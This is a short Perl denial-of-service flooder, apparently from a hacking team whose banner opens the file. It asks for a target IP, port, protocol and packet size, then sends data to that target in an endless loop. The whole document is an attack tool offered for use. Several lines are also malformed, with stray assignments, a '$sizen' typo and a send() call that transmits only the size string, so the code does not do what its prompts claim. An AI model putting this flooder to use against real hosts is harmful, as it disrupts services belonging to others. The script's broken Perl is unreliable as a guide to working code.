#!/usr/bin/perl

 

print q{

=================================================

=                                               =

=                  Coded By                     =

=                                               =

=     TDF'Si]m[ple:xX  y  TDF'Xb[a]lban-X       =

=                                               =

=              Team  TDF E IDLR                 =

=                                               =

=           Linuxerostdf.jimdo.com              =

=                                               =

=================================================

 

};

 

use IO::Socket::INET;

 

print "IP: -> ";

chop ($host = <stdin>);

print "PORT: -> ";

chop ($port = <stdin>);

print "protocol TCP / UDP: -> ";

chop ($protocol = <stdin>);

print "SIZE: -> ";

chop ($size = <stdin>);

 

{

$sock = IO::Socket::INET->new (

  PeerAddr => $host,

  PeerPort => $port,

  Proto => $protocol) 

        || die "the IP or PORT is incorrect, please check the IP and PORT";

}

packets:

while (1) {

size => $size;

$Reuse => 1,

$Listen => 1,

print ("$host:$port packet size: $sizen");

send($sock, $size, $Reuse, $Listen);

}